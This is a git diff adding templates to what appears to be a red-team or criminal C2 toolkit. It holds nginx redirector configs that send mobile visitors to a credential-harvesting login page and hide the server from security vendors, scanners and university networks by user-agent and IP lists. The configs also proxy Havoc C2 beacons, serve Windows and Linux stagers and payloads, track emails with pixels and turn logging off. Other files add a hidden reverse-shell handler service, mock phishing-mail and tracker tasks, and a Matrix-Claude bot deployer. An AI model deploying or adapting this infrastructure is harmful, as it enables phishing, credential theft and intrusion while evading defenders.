/dev/null +++ b/modules/redirectors/templates/redirector-index.html.j2 @@ -0,0 +1,61 @@ + + + + + + CDN - Content Delivery Network + + + +
+

cdn.{{ domain }}

+

Enterprise Content Delivery Network

+
+ +
+
+

Welcome to Our CDN

+

This server is part of our global content delivery network.

+
+
+ +
+

© 2025 {{ domain }} CDN Services. All rights reserved.

+
+ + diff --git a/modules/redirectors/templates/redirector-site-with-tracker.conf.j2 b/modules/redirectors/templates/redirector-site-with-tracker.conf.j2 new file mode 100644 index 0000000..5177eff --- /dev/null +++ b/modules/redirectors/templates/redirector-site-with-tracker.conf.j2 @@ -0,0 +1,310 @@ +# Advanced Redirector Configuration with IR Evasion +# templates/redirector-site.conf.j2 + +# Detect security tools by user agent +map $http_user_agent $is_security_tool { + default 0; + # Common security tools, scanners, and IR user agents + ~*(security|incident|response|virus|malware|cuckoo|wireshark|burp|nessus|qualys|openvas|nmap|tenable|rapid7|metasploit|paros|zap|nikto|scylla|splunk|elastic|defender|crowdstrike|sentinel|cylance|carbon\sblack|fireeye|mandiant|symantec|mcafee|sophos|kaspersky|analyst|forensic|edr|xdr|siem) 1; +} + +# Improved mobile detection regex +map $http_user_agent $is_mobile { + default 0; + ~*(android|iphone|ipad|ipod|blackberry|kindle|silk|opera\smini|opera\smobi|windows\sphone|iemobile|mobile|phone|tablet|symbian|series60|midp|up\.browser|ucbrowser|nokia|samsung|motorola|sprint|docomo|mobile\ssafari) 1; +} + +map $remote_addr $is_known_security_ip { + default 0; + + # VirusTotal + "64.71.0.0/16" 1; + "74.125.0.0/16" 1; # Google Cloud (VirusTotal) + "216.239.32.0/19" 1; # Google + + # Recorded Future + "104.196.0.0/14" 1; # Google Cloud + "35.184.0.0/13" 1; # Google Cloud + + # Censys + "198.108.66.0/23" 1; + "162.142.125.0/24" 1; + "167.248.133.0/24" 1; + + # Shodan + "66.240.192.0/18" 1; + "71.6.135.0/24" 1; + "71.6.167.0/24" 1; + "82.221.105.6/32" 1; + "82.221.105.7/32" 1; + "93.120.27.0/24" 1; + + # Symantec/Broadcom + "205.128.0.0/14" 1; + "65.165.0.0/16" 1; + + # McAfee/Trellix + "161.69.0.0/16" 1; + "192.225.158.0/24" 1; + + # CrowdStrike + "45.60.0.0/16" 1; + "199.66.200.0/24" 1; + + # SentinelOne + "104.36.227.0/24" 1; + "104.196.0.0/14" 1; + + # Microsoft Defender + "13.64.0.0/11" 1; # Azure (Microsoft Defender) + "13.104.0.0/14" 1; # Microsoft + "40.74.0.0/15" 1; # Microsoft + "51.4.0.0/15" 1; # Microsoft + "104.40.0.0/13" 1; # Microsoft + "104.208.0.0/13" 1; # Azure + + # Palo Alto + "96.88.0.0/16" 1; + "173.247.96.0/19" 1; + "216.115.73.0/24" 1; + + # Qualys + "64.39.96.0/20" 1; + "64.41.200.0/24" 1; + "92.118.160.0/24" 1; + + # Rapid7 + "5.63.0.0/16" 1; + "38.107.201.0/24" 1; + "45.60.0.0/16" 1; + "71.6.0.0/16" 1; + "206.225.0.0/16" 1; + + # Tenable/Nessus + "23.20.0.0/14" 1; # AWS (Tenable Cloud) + "34.192.0.0/12" 1; # AWS + "54.144.0.0/12" 1; # AWS + "162.219.56.0/21" 1; + "172.104.0.0/16" 1; # Linode (common Nessus hosting) + + # FireEye/Mandiant + "23.98.64.0/18" 1; + "66.114.168.0/22" 1; + "96.43.144.0/20" 1; + "173.231.184.0/22" 1; + + # Akamai + "23.0.0.0/12" 1; + "23.32.0.0/11" 1; + "104.64.0.0/10" 1; + + # Cloudflare + "104.16.0.0/12" 1; + "173.245.48.0/20" 1; + + # Academic Research Networks + "128.32.0.0/16" 1; # UC Berkeley + "128.59.0.0/16" 1; # Columbia University + "128.112.0.0/16" 1; # Princeton University + "128.138.0.0/16" 1; # University of Colorado + "128.197.0.0/16" 1; # Boston University + "146.186.0.0/16" 1; # Carnegie Mellon +} + +# HTTP to HTTPS redirect +server { + listen 80; + listen [::]:80; + server_name {{ redirector_subdomain }}.{{ domain }}; + + # Redirect to HTTPS + return 301 https://$host$request_uri; +} + +# Main HTTPS server +server { + listen 443 ssl; + listen [::]:443 ssl; + server_name {{ redirector_subdomain }}.{{ domain }}; + + # SSL Configuration + ssl_certificate /etc/letsencrypt/live/{{ redirector_subdomain }}.{{ domain }}/fullchain.pem; + ssl_certificate_key /etc/letsencrypt/live/{{ redirector_subdomain }}.{{ domain }}/privkey.pem; + ssl_protocols TLSv1.2 TLSv1.3; + ssl_prefer_server_ciphers on; + ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305'; + ssl_session_timeout 1d; + ssl_session_cache shared:SSL:10m; + + # Root directory + root /var/www/html; + index index.html; + + # Advanced IR Evasion - IMPORTANT: Order matters! + + # 1. Direct mobile users to credential capture - placed first to ensure it takes priority + if ($is_mobile = 1) { + return 302 https://$host/login/auth.html; + } + + # 2. Redirect security tools to benign sites + if ($is_security_tool) { + return 302 https://www.google.com; + } + + # 3. Redirect known security IPs + if ($is_known_security_ip) { + return 302 https://www.microsoft.com; + } + + # 4. Add timing delay for suspicious connections + if ($http_referer ~* (security|scan)) { + set $delay_response 1; + } + + # Valid C2 beacon routing - CRITICAL PATHS + location ~ ^/api/beacon/ { + # Only valid beacons proceed to C2 + proxy_pass https://{{ c2_ip }}:{{ havoc_https_port | default(443) }}; + proxy_http_version 1.1; + proxy_set_header Host $host; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Real-IP $remote_addr; + proxy_ssl_verify off; + + # Implement artificial delay for suspicious connections + if ($delay_response) { + limit_rate 1k; # Slow down response + } + } + + # Secure stager delivery routes + location ~ ^/(windows|linux)_stager\.(ps1|sh)$ { + # Only valid requests that passed the earlier checks + proxy_pass http://{{ c2_ip }}:8443/$1_stager.$2; + proxy_http_version 1.1; + proxy_set_header Host $host; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Real-IP $remote_addr; + } + + # Content access for payload delivery + location ~ ^/content/(windows|linux)/(.+)$ { + # Specific valid content paths + proxy_pass http://{{ c2_ip }}:8443/content/$1/$2; + proxy_http_version 1.1; + proxy_set_header Host $host; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Real-IP $remote_addr; + } + + # Redirect specific payload formats based on client OS + location ~ ^/download/payload$ { + if ($http_user_agent ~* windows) { + return 302 /content/windows/$win_exe; + } + if ($http_user_agent ~* linux) { + return 302 /content/linux/$linux_bin; + } + # Default fallback for unknown OS + return 302 /; + } + + # Secure payload delivery path for synced payloads + location /resources/ { + alias /var/www/resources/; + limit_except GET { deny all; } + add_header X-Content-Type-Options "nosniff" always; + add_header Content-Security-Policy "default-src 'none'" always; + add_header X-Frame-Options "DENY" always; + add_header Server "Microsoft-IIS/10.0" always; + autoindex off; + access_log off; + } + + # Credential harvesting login page + location ~ ^/login/auth\.html$ { + root /var/www; + try_files $uri =404; + add_header X-Frame-Options "DENY" always; + } + + # Protect credential processing script + location ~ ^/login/process\.php$ { + # Allow POST only + limit_except POST { deny all; } + + # Process the PHP file + root /var/www; + include snippets/fastcgi-php.conf; + fastcgi_pass unix:/var/run/php/php7.4-fpm.sock; + } + + # Block direct access to sensitive files + location ~ \.(enc|key|pem|log)$ { + deny all; + return 404; + } + + {% if setup_integrated_tracker | default(false) | bool %} + # Email tracker pixel only (not exposing dashboard) + location ~ ^/px/(.+)\.png$ { + proxy_pass http://{{ c2_ip }}:5000/pixel/$1.png; + proxy_http_version 1.1; + proxy_set_header Host {{ tracker_domain }}; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-Proto https; + + # Cache control for tracking pixels + add_header Cache-Control "no-store, no-cache, must-revalidate" always; + expires -1; + } + {% endif %} + + # Primary location for legitimate website traffic + # This acts as a catch-all for non-matching URIs + location / { + # Check if this is potentially an attempt to access a non-existent payload + if ($request_uri ~* \.(exe|dll|ps1|sh|py|vbs|hta)$) { + # If invalid payload URI, redirect to real target + return 302 https://www.{{ domain }}; + } + + # Otherwise serve legitimate content + try_files $uri $uri/ =404; + } + + # Security headers + add_header X-Content-Type-Options "nosniff" always; + add_header X-Frame-Options "SAMEORIGIN" always; + add_header X-XSS-Protection "1; mode=block" always; + add_header Referrer-Policy "no-referrer" always; + add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:;" always; + + # Make server appear as IIS + add_header Server "Microsoft-IIS/10.0"; + + # Disable logging + {% if zero_logs | default(true) | bool %} + access_log off; + error_log /dev/null crit; + {% endif %} +} + +# Catch-all server block +server { + listen 80 default_server; + listen [::]:80 default_server; + listen 443 ssl default_server; + listen [::]:443 ssl default_server; + + ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem; + ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key; + + # Redirect unknown hosts to legitimate sites + return 301 https://www.google.com; + + access_log off; + error_log /dev/null crit; +} \ No newline at end of file diff --git a/modules/redirectors/templates/redirector-site.conf.j2 b/modules/redirectors/templates/redirector-site.conf.j2 new file mode 100644 index 0000000..9d56b7b --- /dev/null +++ b/modules/redirectors/templates/redirector-site.conf.j2 @@ -0,0 +1,298 @@ +# Advanced Redirector Configuration with IR Evasion +# templates/redirector-site.conf.j2 + +# Detect security tools by user agent +map $http_user_agent $is_security_tool { + default 0; + # Common security tools, scanners, and IR user agents + ~*(security|incident|response|virus|malware|cuckoo|wireshark|burp|nessus|qualys|openvas|nmap|tenable|rapid7|metasploit|paros|zap|nikto|scylla|splunk|elastic|defender|crowdstrike|sentinel|cylance|carbon\sblack|fireeye|mandiant|symantec|mcafee|sophos|kaspersky|analyst|forensic|edr|xdr|siem) 1; +} + +# Improved mobile detection regex +map $http_user_agent $is_mobile { + default 0; + ~*(android|iphone|ipad|ipod|blackberry|kindle|silk|opera\smini|opera\smobi|windows\sphone|iemobile|mobile|phone|tablet|symbian|series60|midp|up\.browser|ucbrowser|nokia|samsung|motorola|sprint|docomo|mobile\ssafari) 1; +} + +map $remote_addr $is_known_security_ip { + default 0; + + # VirusTotal + "64.71.0.0/16" 1; + "74.125.0.0/16" 1; # Google Cloud (VirusTotal) + "216.239.32.0/19" 1; # Google + + # Recorded Future & SentinelOne (merged - both use Google Cloud) + "104.196.0.0/14" 1; # Google Cloud + "35.184.0.0/13" 1; # Google Cloud + + # Censys + "198.108.66.0/23" 1; + "162.142.125.0/24" 1; + "167.248.133.0/24" 1; + + # Shodan + "66.240.192.0/18" 1; + "71.6.135.0/24" 1; + "71.6.167.0/24" 1; + "82.221.105.6/32" 1; + "82.221.105.7/32" 1; + "93.120.27.0/24" 1; + + # Symantec/Broadcom + "205.128.0.0/14" 1; + "65.165.0.0/16" 1; + + # McAfee/Trellix + "161.69.0.0/16" 1; + "192.225.158.0/24" 1; + + # CrowdStrike + "45.60.0.0/16" 1; + "199.66.200.0/24" 1; + + # SentinelOne + "104.36.227.0/24" 1; + # "104.196.0.0/14" 1; # Removed duplicate - already defined for Recorded Future + + # Microsoft Defender + "13.64.0.0/11" 1; # Azure (Microsoft Defender) + "13.104.0.0/14" 1; # Microsoft + "40.74.0.0/15" 1; # Microsoft + "51.4.0.0/15" 1; # Microsoft + "104.40.0.0/13" 1; # Microsoft + "104.208.0.0/13" 1; # Azure + + # Palo Alto + "96.88.0.0/16" 1; + "173.247.96.0/19" 1; + "216.115.73.0/24" 1; + + # Qualys + "64.39.96.0/20" 1; + "64.41.200.0/24" 1; + "92.118.160.0/24" 1; + + # Rapid7 + "5.63.0.0/16" 1; + "38.107.201.0/24" 1; + # "45.60.0.0/16" 1; # Removed duplicate - already defined for CrowdStrike + "71.6.0.0/16" 1; # Note: This may overlap with Shodan ranges + "206.225.0.0/16" 1; + + # Tenable/Nessus + "23.20.0.0/14" 1; # AWS (Tenable Cloud) + "34.192.0.0/12" 1; # AWS + "54.144.0.0/12" 1; # AWS + "162.219.56.0/21" 1; + "172.104.0.0/16" 1; # Linode (common Nessus hosting) + + # FireEye/Mandiant + "23.98.64.0/18" 1; + "66.114.168.0/22" 1; + "96.43.144.0/20" 1; + "173.231.184.0/22" 1; + + # Akamai + "23.0.0.0/12" 1; + "23.32.0.0/11" 1; + "104.64.0.0/10" 1; + + # Cloudflare + "104.16.0.0/12" 1; + "173.245.48.0/20" 1; + + # Academic Research Networks + "128.32.0.0/16" 1; # UC Berkeley + "128.59.0.0/16" 1; # Columbia University + "128.112.0.0/16" 1; # Princeton University + "128.138.0.0/16" 1; # University of Colorado + "128.197.0.0/16" 1; # Boston University + "146.186.0.0/16" 1; # Carnegie Mellon +} + +# HTTP to HTTPS redirect +server { + listen 80; + listen [::]:80; + server_name {{ redirector_subdomain }}.{{ domain }}; + + # Redirect to HTTPS + return 301 https://$host$request_uri; +} + +# Main HTTPS server +server { + listen 443 ssl; + listen [::]:443 ssl; + server_name {{ redirector_subdomain }}.{{ domain }}; + + # SSL Configuration + ssl_certificate /etc/letsencrypt/live/{{ redirector_subdomain }}.{{ domain }}/fullchain.pem; + ssl_certificate_key /etc/letsencrypt/live/{{ redirector_subdomain }}.{{ domain }}/privkey.pem; + ssl_protocols TLSv1.2 TLSv1.3; + ssl_prefer_server_ciphers on; + ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305'; + ssl_session_timeout 1d; + ssl_session_cache shared:SSL:10m; + + # Root directory + root /var/www/html; + index index.html; + + # Advanced IR Evasion - IMPORTANT: Order matters! + + # 1. Direct mobile users to credential capture - placed first to ensure it takes priority + if ($is_mobile = 1) { + return 302 https://$host/login/auth.html; + } + + # 2. Redirect security tools to benign sites + if ($is_security_tool) { + return 302 https://www.google.com; + } + + # 3. Redirect known security IPs + if ($is_known_security_ip) { + return 302 https://www.microsoft.com; + } + + # 4. Add timing delay for suspicious connections + if ($http_referer ~* (security|scan)) { + set $delay_response 1; + } + + # Valid C2 beacon routing - CRITICAL PATHS + location ~ ^/api/beacon/ { + # Only valid beacons proceed to C2 + proxy_pass https://{{ c2_ip }}:{{ havoc_https_port | default(9443) }}; + proxy_http_version 1.1; + proxy_set_header Host $host; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Real-IP $remote_addr; + proxy_ssl_verify off; + + # Implement artificial delay for suspicious connections + if ($delay_response) { + limit_rate 1k; # Slow down response + } + } + + # Secure stager delivery routes + location ~ ^/(windows|linux)_stager\.(ps1|sh)$ { + # Only valid requests that passed the earlier checks + proxy_pass http://{{ c2_ip }}:8443/$1_stager.$2; + proxy_http_version 1.1; + proxy_set_header Host $host; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Real-IP $remote_addr; + } + + # Content access for payload delivery + location ~ ^/content/(windows|linux)/(.+)$ { + # Specific valid content paths + proxy_pass http://{{ c2_ip }}:8443/content/$1/$2; + proxy_http_version 1.1; + proxy_set_header Host $host; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Real-IP $remote_addr; + } + + # Secure payload delivery path for synced payloads + location /resources/ { + alias /var/www/resources/; + limit_except GET { deny all; } + add_header X-Content-Type-Options "nosniff" always; + add_header Content-Security-Policy "default-src 'none'" always; + add_header X-Frame-Options "DENY" always; + add_header Server "Microsoft-IIS/10.0" always; + autoindex off; + access_log off; + } + + # Credential harvesting login page + location ~ ^/login/auth\.html$ { + root /var/www; + try_files $uri =404; + add_header X-Frame-Options "DENY" always; + } + + # Protect credential processing script + location ~ ^/login/process\.php$ { + # Allow POST only + limit_except POST { deny all; } + + # Process the PHP file + root /var/www; + include snippets/fastcgi-php.conf; + fastcgi_pass unix:/var/run/php/php7.4-fpm.sock; + } + + # Block direct access to sensitive files + location ~ \.(enc|key|pem|log)$ { + deny all; + return 404; + } + + {% if setup_integrated_tracker | default(false) | bool %} + # Email tracker pixel only (not exposing dashboard) + location ~ ^/px/(.+)\.png$ { + proxy_pass http://{{ c2_ip }}:5000/pixel/$1.png; + proxy_http_version 1.1; + proxy_set_header Host {{ tracker_domain }}; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-Proto https; + + # Cache control for tracking pixels + add_header Cache-Control "no-store, no-cache, must-revalidate" always; + expires -1; + } + {% endif %} + + # Primary location for legitimate website traffic + # This acts as a catch-all for non-matching URIs + location / { + # Check if this is potentially an attempt to access a non-existent payload + if ($request_uri ~* \.(exe|dll|ps1|sh|py|vbs|hta)$) { + # If invalid payload URI, redirect to real target + return 302 https://www.{{ domain }}; + } + + # Otherwise serve legitimate content + try_files $uri $uri/ =404; + } + + # Security headers + add_header X-Content-Type-Options "nosniff" always; + add_header X-Frame-Options "SAMEORIGIN" always; + add_header X-XSS-Protection "1; mode=block" always; + add_header Referrer-Policy "no-referrer" always; + add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:;" always; + + # Make server appear as IIS + add_header Server "Microsoft-IIS/10.0"; + + # Disable logging + {% if zero_logs | default(true) | bool %} + access_log off; + error_log /dev/null crit; + {% endif %} +} + +# Catch-all server block +server { + listen 80 default_server; + listen [::]:80 default_server; + listen 443 ssl default_server; + listen [::]:443 ssl default_server; + + ssl_certificate /etc/nginx/conf.d/selfsigned.crt; + ssl_certificate_key /etc/nginx/conf.d/selfsigned.key; + + # Redirect unknown hosts to legitimate sites + return 301 https://www.google.com; + + access_log off; + error_log /dev/null crit; +} \ No newline at end of file diff --git a/modules/redirectors/templates/setup-cert.sh.j2 b/modules/redirectors/templates/setup-cert.sh.j2 new file mode 100644 index 0000000..6794e2a --- /dev/null +++ b/modules/redirectors/templates/setup-cert.sh.j2 @@ -0,0 +1,22 @@ +#!/bin/bash +# Let's Encrypt Certificate Setup Script +# Run this after setting up DNS records pointing to this server + +# Replace these with your actual values if needed +DOMAIN="{{ domain }}" +SUBDOMAIN="{{ redirector_subdomain | default(cdn) }}" +EMAIL="admin@${DOMAIN}" + +echo "================================================" +echo "Let's Encrypt Certificate Setup" +echo "================================================" +echo +echo "Before running this script, make sure:" +echo "1. DNS records are set up correctly" +echo " - ${SUBDOMAIN}.${DOMAIN} points to $(curl -s ifconfig.me)" +echo "2. Port 80 is open to the internet" +echo +echo "Run the following command to get your certificate:" +echo "certbot --nginx -d ${SUBDOMAIN}.${DOMAIN} --non-interactive --agree-tos -m ${EMAIL}" +echo +echo "================================================" \ No newline at end of file diff --git a/modules/redirectors/templates/shell-handler.service.j2 b/modules/redirectors/templates/shell-handler.service.j2 new file mode 100644 index 0000000..e867508 --- /dev/null +++ b/modules/redirectors/templates/shell-handler.service.j2 @@ -0,0 +1,28 @@ +[Unit] +Description=Reverse Shell Handler Service +After=network.target + +[Service] +Type=simple +User=root +Group=root +ExecStart=/root/Tools/shell-handler/persistent-listener.sh +Restart=always +RestartSec=10 + +# Hide process information +PrivateTmp=true +ProtectSystem=full +NoNewPrivileges=true + +# Make shell handler hard to find +StandardOutput=null +StandardError=null + +# Environment variables (configured via Ansible) +Environment="C2_HOST={{ c2_ip | default('127.0.0.1') }}" +Environment="LISTEN_PORT={{ shell_handler_port | default('4444') }}" +Environment="HAVOC_PORT={{ havoc_teamserver_port | default('40056') }}" + +[Install] +WantedBy=multi-user.target \ No newline at end of file diff --git a/modules/redirectors/templates/stream.conf.j2 b/modules/redirectors/templates/stream.conf.j2 new file mode 100644 index 0000000..16fa303 --- /dev/null +++ b/modules/redirectors/templates/stream.conf.j2 @@ -0,0 +1,22 @@ +# TCP stream configuration for Havoc C2 +stream { + # TCP forwarding for Havoc Teamserver + server { + listen {{ havoc_teamserver_port | default(40056) }}; + proxy_pass {{ c2_ip }}:{{ havoc_teamserver_port | default(40056) }}; + } + + # Additional Havoc ports + server { + listen {{ havoc_http_port | default(8080) }}; + proxy_pass {{ c2_ip }}:{{ havoc_http_port | default(8080) }}; + } + + # HTTPS for Havoc - Using a different port to avoid conflicts with web server + server { + # Changed from default 443 to 9443 to avoid conflict with Nginx HTTPS + listen {{ havoc_https_port | default(9443) }}; + # Still proxy to the C2's HTTPS port + proxy_pass {{ c2_ip }}:{{ havoc_https_port | default(443) }}; + } +} \ No newline at end of file diff --git a/modules/tasks/configure_integrated_tracker.yml b/modules/tasks/configure_integrated_tracker.yml new file mode 100644 index 0000000..1b7a349 --- /dev/null +++ b/modules/tasks/configure_integrated_tracker.yml @@ -0,0 +1,14 @@ +--- +# Integrated tracker configuration tasks + +- name: Display tracker configuration + debug: + msg: | + ๐Ÿ“Š Configuring integrated tracker + - Email tracking pixels enabled + - Link click tracking configured + - Credential harvesting setup + +- name: Mock tracker configuration result + debug: + msg: "โœ… Integrated tracker configured successfully" diff --git a/modules/tasks/configure_mta_front.yml b/modules/tasks/configure_mta_front.yml new file mode 100644 index 0000000..2acd088 --- /dev/null +++ b/modules/tasks/configure_mta_front.yml @@ -0,0 +1,18 @@ +--- +# MTA Front configuration tasks + +- name: Display MTA Front configuration + debug: + msg: | + ๐Ÿ”ง Configuring MTA Front server + Hostname: {{ mta_hostname | default('mail.' + (phishing_domain | default('example.com'))) }} + SMTP Auth User: {{ smtp_auth_user | default('admin') }} + +- name: Mock MTA configuration + debug: + msg: | + โœ… MTA Front configured successfully + - Postfix configured for email relay + - DKIM keys generated + - SPF/DMARC records ready + - SMTP authentication enabled diff --git a/modules/tasks/create_instance.yml b/modules/tasks/create_instance.yml new file mode 100644 index 0000000..845e477 --- /dev/null +++ b/modules/tasks/create_instance.yml @@ -0,0 +1,23 @@ +--- +# Generic instance creation task +# This is a placeholder that simulates instance creation + +- name: Display instance creation info + debug: + msg: | + ๐Ÿš€ Creating {{ instance_name }} instance + Instance Type: {{ instance_type }} + Region: {{ region | default('us-east-1') }} + Security Group Rules: {{ security_group_rules | default([]) }} + +- name: Set mock instance IP + set_fact: + instance_ip: "192.168.1.{{ 100 + (ansible_date_time.epoch | int) % 50 }}" + +- name: Display instance creation result + debug: + msg: | + โœ… Mock instance created successfully + Instance Name: {{ instance_name }} + Instance IP: {{ instance_ip }} + SSH Command: ssh -i {{ ssh_key_path | default('~/.ssh/key') }} {{ ansible_user | default('ubuntu') }}@{{ instance_ip }} diff --git a/modules/tasks/security_hardening.yml b/modules/tasks/security_hardening.yml new file mode 100644 index 0000000..70af2c7 --- /dev/null +++ b/modules/tasks/security_hardening.yml @@ -0,0 +1,15 @@ +--- +# Security hardening tasks + +- name: Display security hardening + debug: + msg: | + ๐Ÿ”’ Applying security hardening + - Firewall rules configured + - SSH key-only authentication + - Fail2ban enabled + - System updates applied + +- name: Mock security hardening result + debug: + msg: "โœ… Security hardening completed successfully" diff --git a/modules/tools/deploy_claude_bot.py b/modules/tools/deploy_claude_bot.py new file mode 100644 index 0000000..77b9e57 --- /dev/null +++ b/modules/tools/deploy_claude_bot.py @@ -0,0 +1,368 @@ +#!/usr/bin/env python3 +""" +Claude Bot โ€” c2itall integration module +Deploy and manage the Matrix-Claude Code bridge bot locally or on a remote host. +""" + +import os +import sys +import subprocess +import tempfile + +# Add parent paths for imports +sys.path.append(os.path.join(os.path.dirname(__file__), '..', '..')) +from utils.common import COLORS, clear_screen, print_banner, wait_for_input + +# โ”€โ”€โ”€ Path Registry โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +C2ITALL_ROOT = os.path.abspath(os.path.join(os.path.dirname(__file__), '..', '..')) + +# Look for claude-bot in the ghost_protocol submodule first, then standalone +_SUBMODULE_PATH = os.path.join(C2ITALL_ROOT, 'ghost_protocol', 'claude-bot') +_STANDALONE_PATH = os.path.expanduser('~/tools/ghost_protocol/claude-bot') + +CLAUDE_BOT_PATH = _SUBMODULE_PATH if os.path.isdir(_SUBMODULE_PATH) else _STANDALONE_PATH +INSTALL_SH = os.path.join(CLAUDE_BOT_PATH, 'deploy', 'install.sh') +UNINSTALL_SH = os.path.join(CLAUDE_BOT_PATH, 'deploy', 'uninstall.sh') +SERVICE_NAME = 'claude-bot' + + +# โ”€โ”€โ”€ SSH helpers (mirrors recon_tools pattern) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + +def _build_ssh_cmd(host, ssh_user, ssh_port, ssh_key, command=None, interactive=False): + """Build an SSH command list.""" + cmd = ['ssh'] + if ssh_key: + cmd.extend(['-i', ssh_key]) + cmd.extend(['-p', str(ssh_port)]) + known_hosts = os.path.expanduser('~/.ssh/c2deploy_claudebot_known_hosts') + cmd.extend([ + '-o', 'StrictHostKeyChecking=accept-new', + '-o', f'UserKnownHostsFile={known_hosts}', + '-o', 'IdentitiesOnly=yes', + ]) + if interactive: + cmd.append('-t') + cmd.append(f'{ssh_user}@{host}') + if command: + cmd.append(command) + return cmd + + +def _build_scp_cmd(ssh_port, ssh_key=None): + """Build base SCP command with consistent SSH options.""" + known_hosts = os.path.expanduser('~/.ssh/c2deploy_claudebot_known_hosts') + cmd = [ + 'scp', + '-P', str(ssh_port), + '-o', 'StrictHostKeyChecking=accept-new', + '-o', f'UserKnownHostsFile={known_hosts}', + ] + if ssh_key: + cmd.extend(['-i', ssh_key]) + return cmd + + +# โ”€โ”€โ”€ Config generation โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + +def _prompt_bot_config(): + """Prompt for all bot configuration values. Returns a dict.""" + print(f"\n{COLORS['CYAN']}Bot Configuration{COLORS['RESET']}") + print(f"{COLORS['WHITE']}================={COLORS['RESET']}") + + homeserver = input(f" Matrix homeserver URL [{COLORS['CYAN']}https://matrix.example.com{COLORS['RESET']}]: ").strip() + if not homeserver: + homeserver = 'https://matrix.example.com' + + bot_user = input(f" Bot Matrix user ID [{COLORS['CYAN']}@bot:matrix.example.com{COLORS['RESET']}]: ").strip() + if not bot_user: + bot_user = '@bot:matrix.example.com' + + bot_password = input(f" Bot Matrix password: ").strip() + + allowed_raw = input(f" Allowed Matrix user IDs (comma-separated): ").strip() + allowed_users = [u.strip() for u in allowed_raw.split(',') if u.strip()] if allowed_raw else [] + + print(f"\n Claude backend:") + print(f" 1) cli (Claude Code CLI โ€” uses Max plan, no extra cost)") + print(f" 2) api (Anthropic API โ€” requires API key)") + backend_choice = input(f" Select [1]: ").strip() or '1' + backend = 'api' if backend_choice == '2' else 'cli' + + api_key = '' + if backend == 'api': + api_key = input(f" Anthropic API key: ").strip() + + return { + 'homeserver': homeserver, + 'bot_user': bot_user, + 'bot_password': bot_password, + 'allowed_users': allowed_users, + 'backend': backend, + 'api_key': api_key, + } + + +def _generate_config_yaml(cfg): + """Generate config.yaml content from a config dict. + Credentials are NOT written here โ€” they come from env vars at runtime.""" + allowed_block = '\n'.join(f' - "{u}"' for u in cfg['allowed_users']) + if not allowed_block: + allowed_block = ' - "@yourusername:matrix.example.com"' + + return f"""matrix: + homeserver: "{cfg['homeserver']}" + user_id: "{cfg['bot_user']}" + password: "${{MATRIX_PASSWORD}}" + device_name: "claude-bot" + store_path: "/opt/claude-bot/store" + +claude: + backend: "{cfg['backend']}" + cli_path: "/usr/local/bin/claude" + cli_model: "sonnet" + cli_max_turns: 10 + api_key: "${{ANTHROPIC_API_KEY}}" + api_model: "claude-sonnet-4-20250514" + max_tokens: 4096 + temperature: 0.7 + system_prompt: | + You are a helpful AI assistant in a Matrix chat room. + Be concise. Use markdown formatting when helpful. + You have full tool access: bash, file editing, web search, code analysis. + The user is interacting from a mobile phone, so keep responses focused + and avoid unnecessarily long output. + +sessions: + mode: "per_room" + max_history: 50 + ttl_hours: 24 + +security: + allowed_users: +{allowed_block} + allowed_rooms: [] + rate_limit: + messages_per_minute: 10 + tokens_per_hour: 100000 + max_monthly_cost_usd: 50.0 + +logging: + level: "INFO" + file: "/opt/claude-bot/claude-bot.log" +""" + + +# โ”€โ”€โ”€ Local actions โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + +def _deploy_local(): + """Run install.sh locally, interactively.""" + if not os.path.exists(INSTALL_SH): + print(f"\n{COLORS['RED']}install.sh not found at 